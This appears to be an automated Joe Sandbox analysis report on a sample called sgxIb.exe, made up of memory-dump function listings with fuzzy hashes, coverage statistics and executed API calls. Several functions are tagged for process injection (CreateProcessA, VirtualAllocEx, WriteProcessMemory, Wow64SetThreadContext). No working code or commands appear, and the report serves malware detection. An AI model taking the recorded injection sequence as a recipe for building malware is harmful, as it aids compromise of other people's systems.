Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eff4bc18be8f10bdfe1d84c4ebd7b396803c9f8f8d60725461a1ea8e6793c21
Instruction ID: d1f47518a0d1620823aeb46da978c8515079bec79e75d0b553b5d800d9ab9176
Opcode Fuzzy Hash: 8eff4bc18be8f10bdfe1d84c4ebd7b396803c9f8f8d60725461a1ea8e6793c21
Instruction Fuzzy Hash: 5B319430E107199BDF25DF68D88069EBBB7FF85304F118529E405A7340DB71E9468B91

Function 06DD2080 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd08ff2773e3d52206c4dd9b74373f6595d37bc1a442438429c8df71dc513eb5
Instruction ID: 36b75329bf19f3de4e1b2d4ae252fd869758a2d06de58415aa526c2342417af9
Opcode Fuzzy Hash: bd08ff2773e3d52206c4dd9b74373f6595d37bc1a442438429c8df71dc513eb5
Instruction Fuzzy Hash: 9A315D34E006099FCB59EF69D95469EB7B2FF89300F10C529EA06EB350DB71AD46CB50

Function 06DD2090 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 780a20d108961364ee53205a926b2aefb6ac4a7345ff8711c3fedb698fabb5d8
Instruction ID: 1a48f604abbf32f418f3306b13ddd2c2dc0dac7dd7ed5923e75064eb8ecf71f0
Opcode Fuzzy Hash: 780a20d108961364ee53205a926b2aefb6ac4a7345ff8711c3fedb698fabb5d8
Instruction Fuzzy Hash: F5315C34E006099FCB59DF69D854A9EB7B2FF89300F10C529EA06EB340EB71AD46CB50

Function 06DD3FC1 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6721d283a643f53021699582a2b1fc4ebd6b0ca6d4d4c211143b834c76f5fe
Instruction ID: ead6f75e730e4ee5caf9592a08aaa7a16426b4f611abbabb418250aec18c8e70
Opcode Fuzzy Hash: ac6721d283a643f53021699582a2b1fc4ebd6b0ca6d4d4c211143b834c76f5fe
Instruction Fuzzy Hash: 2F217C75F112159FDB50DF69E980AAEBBF5FB48710F118025E904EB350EB39EC058B90

Function 06DD3508 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ca3bcff88cf98b3064ebe925f04e60a06d32462d45b4db17d70ebdf7fb29bd4
Instruction ID: 87fda48806c86386db6ff4b1f354aa9b0fd110696c4716f61956d073330acdc9
Opcode Fuzzy Hash: 8ca3bcff88cf98b3064ebe925f04e60a06d32462d45b4db17d70ebdf7fb29bd4
Instruction Fuzzy Hash: 0021C171A093945FDB55EB7888505DEBFB5AF86310F0540A7D041EB252DA318944CBA6

Function 06DD3FD0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdadd9fd6cc2a4605767b1e9d63b326b97b969d7b28b8d4efd1bb413bb112711
Instruction ID: 7dabd1ef43a59e5586abd0848a7f59d1e49fd340dbbd1660bace24c3a2eb8e33
Opcode Fuzzy Hash: bdadd9fd6cc2a4605767b1e9d63b326b97b969d7b28b8d4efd1bb413bb112711
Instruction Fuzzy Hash: 97213975E112189FDB50EFA9D980AAEBBF5FB48750F118029E905E7350EB39EC40CB90

Function 06DDB038 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28ae62ab186e5fafab3889f0f5b3470cfa5917d9391ddf2f7016bfea6c46ecef
Instruction ID: de3af19d620365c3a58edd1e6f083ac6ccb35abf4f5d3b2e9c04297e2d24bf26
Opcode Fuzzy Hash: 28ae62ab186e5fafab3889f0f5b3470cfa5917d9391ddf2f7016bfea6c46ecef
Instruction Fuzzy Hash: C92150B1D107199BDF74DFA9C8406AEBBB5FF86344F11892AD405FB240EB719845CB81

Function 06DDA420 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5aa2d31c31cbaa4e8142046b8efab9cb0989f301296c664fb5e66af09000e3a
Instruction ID: 797c5d7dead53085011d7368eb9d238f6c75f56a685c861f79e55d210c0d7f89
Opcode Fuzzy Hash: b5aa2d31c31cbaa4e8142046b8efab9cb0989f301296c664fb5e66af09000e3a
Instruction Fuzzy Hash: 0E11C231F001141FDB60EB6CE8447AA77E5EB8A214F14C479E60EDB741DD26EC4183D1

Function 06DD4318 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9507fb4b03a3b3ee83c3538425acefcc883008077f73a8980cfe489d02cd9dd3
Instruction ID: 9ee91ace29feb7a13c742a4e67275043f6b3e91457a5c7f83da9d0b0b1300b7e
Opcode Fuzzy Hash: 9507fb4b03a3b3ee83c3538425acefcc883008077f73a8980cfe489d02cd9dd3
Instruction Fuzzy Hash: 7B01F135B101100FDB65AA7C881072EB7EADBCA310F14853AE14ACB391E935DC0243A2

Function 06DD40E0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f805f3db0040a65a74dc0416f9529b0efd964cce1554b870c996652494879324
Instruction ID: 7f94d9787db825039778feafa0b04f359ca5a653e73786348e9f76202181db1b
Opcode Fuzzy Hash: f805f3db0040a65a74dc0416f9529b0efd964cce1554b870c996652494879324
Instruction Fuzzy Hash: BD115E35B101288FDB54EA78D8246AE77FAFBC8711F058539D50AE7340EE75DC058BA1

Function 06DDF2B8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7117e02ecff9e733816ccec29fc71eb2244735da0d7dd22edd771a4ba96070
Instruction ID: e2205674319fa1e2c16cefaa5ad1048c3bd7e11069c7a8565d7fbb80609c7fbc
Opcode Fuzzy Hash: 8f7117e02ecff9e733816ccec29fc71eb2244735da0d7dd22edd771a4ba96070
Instruction Fuzzy Hash: D401D435F111540FCB62A77CD8547AE6BD6DBCA218B14882AE10BCB740DE25DD0243A2

Function 06DD3D99 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afc2daf133aeb5e9ba77f88643d67a1eb80704a072ea6e75bdb8fa2dfb013fde
Instruction ID: cb1d68e0787757200d474702493015716da899898b9b1c84f1f712adb8f79b64
Opcode Fuzzy Hash: afc2daf133aeb5e9ba77f88643d67a1eb80704a072ea6e75bdb8fa2dfb013fde
Instruction Fuzzy Hash: BF21C4B5D01219AFDB10DF9AD885ADEFFB8FB49310F10822AE518A7340D3746954CBE5

Function 06DD40D1 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca477cf89c5355d41446caf1bb848c98a226a0c57933a05b6f4a0e5c2b60165
Instruction ID: d49f5b3399a8601592241690e953c5e700e5af809c56543e936fe3c79290ae70
Opcode Fuzzy Hash: cca477cf89c5355d41446caf1bb848c98a226a0c57933a05b6f4a0e5c2b60165
Instruction Fuzzy Hash: 3101D431B600184BDB549A78DC206EF77FAEBC8310F01413AD50AE7340EE659C0647E1

Function 06DD3DA0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63dab11c5dbbda478760ee82d5146732f2ef330a787db75ef5b7d45450bc7c02
Instruction ID: 94ef3ae4934af7a80a340bf97dd188e5704040e99ec6a8ee079722d063fe21ed
Opcode Fuzzy Hash: 63dab11c5dbbda478760ee82d5146732f2ef330a787db75ef5b7d45450bc7c02
Instruction Fuzzy Hash: 5411B4B5D01259AFDB00DF9AD884ADEFBB4FB49310F10812AE518B7340D374A954CFA5

Function 06DD4328 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de0e0904fba7d2aeb31470f21a4013aa8ccf67c96f2235f06b97dc8b826ea458
Instruction ID: c8bd06a15aa7645439a913137d387b4cad40e65399337c64fda7359b804231f1
Opcode Fuzzy Hash: de0e0904fba7d2aeb31470f21a4013aa8ccf67c96f2235f06b97dc8b826ea458
Instruction Fuzzy Hash: 2D018C35B601240BDB74AA6D9855B2FA3DBDBCA714F20C83AE60EC7394DD75DC424391

Function 06DDF2C8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367fc981089f3c692d485020a22a2a4dd2b2f3477a6fae59825f2c4bf37b925c
Instruction ID: c347cc221939b4456f42dd530ff18ebb6da31fe3f8d6e79f59903122a7036047
Opcode Fuzzy Hash: 367fc981089f3c692d485020a22a2a4dd2b2f3477a6fae59825f2c4bf37b925c
Instruction Fuzzy Hash: 57018C35F101180BDB65AB7DE850B2FB7DADBC9628F108839E50BCB340DE65DC424392

Function 06DDA430 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c2ef44ee40b80a3c0ff3cbe6108c86bb3201155c6f505aa2ae2b5a07eea968
Instruction ID: bf2e28921e7badaac5e2a09309f0a13ad1f71ebf15e24cbeab1989214a6123d3
Opcode Fuzzy Hash: 22c2ef44ee40b80a3c0ff3cbe6108c86bb3201155c6f505aa2ae2b5a07eea968
Instruction Fuzzy Hash: BE018C30B001144BDB64EB7CE854B2AB3E6EB8D318F10C838E60EDB740DE29EC028791

Function 06DD83E8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ddbc34df9cb27fabdb7627b1875809e435b3b73cfc950143c68481f5a8d305
Instruction ID: 78c6d02d891999d9e2e6593bd0c73670e63e76319cadfd46f6b7e1001ae31705
Opcode Fuzzy Hash: 64ddbc34df9cb27fabdb7627b1875809e435b3b73cfc950143c68481f5a8d305
Instruction Fuzzy Hash: 8FF0AF31F002158FDF66AF58E9802B877BEEB48210F104476C906EB250D77AED05EB91

Function 06DD6588 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f83a4230cae6e86b132794d7e195ba98fb83a34040c1a71eed0bdfbaf3c26e
Instruction ID: be8b3a69908c4ac61ab89973c65419c72c9bf8c6ef30c04ebe0240b916e63c91
Opcode Fuzzy Hash: d6f83a4230cae6e86b132794d7e195ba98fb83a34040c1a71eed0bdfbaf3c26e
Instruction Fuzzy Hash: D4E0D870E152886FDF60EB74DD057AA7BADDB03308F2244E6D805DB246F175D94187D2

Function 06DD4B69 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1639915821.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6dd0000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63bc6f79ae19a2b234efafc436f15eaeefa0e0dc6a282cf54e102e742a5a5fe7
Instruction ID: 31824ba02f3243f88f0de0241ed8e07906039cc8f01e42ab4083464ff8cf0a1e
Opcode Fuzzy Hash: 63bc6f79ae19a2b234efafc436f15eaeefa0e0dc6a282cf54e102e742a5a5fe7
Instruction Fuzzy Hash: B8F0DA30A50129EFDB14DF95E9587AEBBF2FF48704F250519E402A7294CB701C01CF80

Analysis Process: sgxIb.exePID: 3592, Parent PID: 3504COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	141
Total number of Limit Nodes:	5

Executed Functions

Function 06D90C8C Relevance: 1.8, APIs: 1, Instructions: 250
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06D90ECE

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 64d061d502403f7980b08662d1d4cd945061bb1ae801485e51dc0553e5e7c98c
Instruction ID: 56233ab3044e8a3bdfa0a06948874d1848f74812207657c3f4d0b54048288dd0
Opcode Fuzzy Hash: 64d061d502403f7980b08662d1d4cd945061bb1ae801485e51dc0553e5e7c98c
Instruction Fuzzy Hash: 87A14C71D00719DFEF54CF68D8417DEBBB2AF48314F148569E809A7280DB749A85CFA1

Function 06D90C98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06D90ECE

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7748942c72557e49003565afa477289a556db410e25a9d461e9f5bfa4cca9a06
Instruction ID: 1d8c00d9f1e3b35b8a78039516b572617084ef76cf9bad682f97f756704d2669
Opcode Fuzzy Hash: 7748942c72557e49003565afa477289a556db410e25a9d461e9f5bfa4cca9a06
Instruction Fuzzy Hash: 60914B71D00719CFEF54CFA8D841BDEBBB2AF48314F148569E809A7280DB749A85CFA1

Function 00C3B108 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.1639206026.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c30000_sgxIb.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7fbbd14654d669088b3b3c88ead648b28faeacc2d2ac7df6656dfc15f52e6f61
Instruction ID: c0dbd3b381da2e1309f55940abd415da1962b1faa1688ea14ee521e09169a19e
Opcode Fuzzy Hash: 7fbbd14654d669088b3b3c88ead648b28faeacc2d2ac7df6656dfc15f52e6f61
Instruction Fuzzy Hash: 00715470A10B048FEB24DF2AD45575ABBF1FF88300F008A2EE59AD7A50D775EA45CB91

Function 00C34514 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00C359C9

Memory Dump Source

Source File: 00000015.00000002.1639206026.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c30000_sgxIb.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2b56c9c0a8e11ff0d9e06c0bdd4a1c166f64950efa3266c47acf5126d6bec521
Instruction ID: b48826fac4d7da5f0e41d471541b0ea08c038660b09ab63e876a4c4f1ba3c505
Opcode Fuzzy Hash: 2b56c9c0a8e11ff0d9e06c0bdd4a1c166f64950efa3266c47acf5126d6bec521
Instruction Fuzzy Hash: 0241D3B0C00B1DCBDB24DFA9C84479EFBB5BF44304F2085AAD418AB251DB756946CF90

Function 00C3590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00C359C9

Memory Dump Source

Source File: 00000015.00000002.1639206026.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c30000_sgxIb.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a0b1f6083cfa4e65842b43da79de099d3e39a38f1ac144b18ab63aeea9eb59ff
Instruction ID: 5c8e53c6424b86c2e6c9309720feeb93da444f19da07e8dd47743cbefc5b55f6
Opcode Fuzzy Hash: a0b1f6083cfa4e65842b43da79de099d3e39a38f1ac144b18ab63aeea9eb59ff
Instruction Fuzzy Hash: 0441D0B0C00B19CBDB24DFAAC88479EFBB1BF48304F20856AD418AB251DB756946CF50

Function 06D90608 Relevance: 1.6, APIs: 1, Instructions: 76
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06D906A0

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fe9e19f483c9401f3894ef1ffbee9065aecdc4b25ebcc5253d3df5541b9e05d3
Instruction ID: 7e9d1fc4809df7923e26ff0f1ecee6cd13f6b77910cd4b9dc60dc478b38416ef
Opcode Fuzzy Hash: fe9e19f483c9401f3894ef1ffbee9065aecdc4b25ebcc5253d3df5541b9e05d3
Instruction Fuzzy Hash: 14213571D003099FDB10DFAAD885BDEBBF5FF88310F10842AE959A7241C7789944CBA1

Function 06D90610 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06D906A0

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ddffaab3696e75349d4200a0fb309307a46b2aa4017e59da5f711d4b0c750268
Instruction ID: bff8cf1bd53d9783bda30218075088a2e3cfbdcae8ead24d0ee86bd5e7f595e5
Opcode Fuzzy Hash: ddffaab3696e75349d4200a0fb309307a46b2aa4017e59da5f711d4b0c750268
Instruction Fuzzy Hash: C92113B1D003099FDB10DFAAC885BDEBBF5FF88310F10842AE959A7240C7789944CBA0

Function 06D906F9 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06D90780

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4c9cc81dfb312ff97695063ee25848832de69e62373f557fb353e98027c869e3
Instruction ID: 0b7cd73e73fe172c67e24081292e2317ac2d6cc8218158ac211d7c19f3a50a10
Opcode Fuzzy Hash: 4c9cc81dfb312ff97695063ee25848832de69e62373f557fb353e98027c869e3
Instruction Fuzzy Hash: 77212571C003599FDB10CFAAD884BEEBBF1BF48310F10852EE559A7240C7799905CBA0

Function 06D90470 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06D904F6

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f76ce315975d18a63f6f0c54bb965847722e36ad2d813077edd1293653398d84
Instruction ID: ced5832208775ad6091318adf8b18d4b8777a92ade4a8d8d36f2360282972cba
Opcode Fuzzy Hash: f76ce315975d18a63f6f0c54bb965847722e36ad2d813077edd1293653398d84
Instruction Fuzzy Hash: DD216871D003098FDB50DFAAC484BEEBBF4AF88314F54842ED559A7241C778AA45CFA0

Function 00C3B750 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00C3D6C6,?,?,?,?,?), ref: 00C3D787

Memory Dump Source

Source File: 00000015.00000002.1639206026.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c30000_sgxIb.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 304492e27a00116c7529fe17a5d0d0729fc6554d5024ed1834f68c3bec87cce3
Instruction ID: 1a02e8876f4c1cbf9ca50e9c7405acac3fab351dbafaa75f4417c4ba25e712ec
Opcode Fuzzy Hash: 304492e27a00116c7529fe17a5d0d0729fc6554d5024ed1834f68c3bec87cce3
Instruction Fuzzy Hash: 8721E3B5900349EFDB10CF9AD884ADEBBF4EB48310F14846AE919A7350D374A950CFA5

Function 00C3D6F9 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00C3D6C6,?,?,?,?,?), ref: 00C3D787

Memory Dump Source

Source File: 00000015.00000002.1639206026.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c30000_sgxIb.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: afa2bf6a8e79c67e4aefd5dfb53ddad40b26479c88e0edf31a31e628328c20c7
Instruction ID: f2f3804090a46f50cbbfa1d0d278e5c86bbf07be5229f1b6406a1186d0045fac
Opcode Fuzzy Hash: afa2bf6a8e79c67e4aefd5dfb53ddad40b26479c88e0edf31a31e628328c20c7
Instruction Fuzzy Hash: 8F21E4B5D00209EFDB10CF9AD484ADEBBF4EB48310F14845AE919A7350D374A951CFA1

Function 06D90700 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06D90780

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0fdbb8accc8e2979520ffd1ceffcaaab2daf3236531fe9a25e50bd08fae8e5a2
Instruction ID: 897f68472d46aa95fb97237a44a31e265d2560caf11fce268748b2a379694eed
Opcode Fuzzy Hash: 0fdbb8accc8e2979520ffd1ceffcaaab2daf3236531fe9a25e50bd08fae8e5a2
Instruction Fuzzy Hash: 98212871C003499FDB10DFAAC884BDEBBF5FF48310F50842AE519A7240C7789940CBA1

Function 06D90478 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06D904F6

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9db944a9bda601fca82f5767f8e24a030c75953a04f3e28b42a313e009189f9b
Instruction ID: 63b064e1230a79a8178bff77baf11bba4fab530211a42100f7b0d36a1eef0bda
Opcode Fuzzy Hash: 9db944a9bda601fca82f5767f8e24a030c75953a04f3e28b42a313e009189f9b
Instruction Fuzzy Hash: 26213471D003098FDB50DFAAC485BEEBBF4AF49210F54842ED519A7240C778AA44CFA1

Function 06D90548 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06D905BE

Memory Dump Source

Source File: 00000015.00000002.1650702103.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6d90000_sgxIb.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 31d14ec126620ee24a0ab904c2fbdcc6ffd7ebf7ce9fef13cec99fd3c370df05
Instruction ID: aff66fd92c5a5b417e12c487338e801a411c39a180e41c2ba3848976d79fd8b4
Opcode Fuzzy Hash: 31d14ec126620ee24a0ab904c2fbdcc6ffd7ebf7ce9fef13cec99fd3c370df05
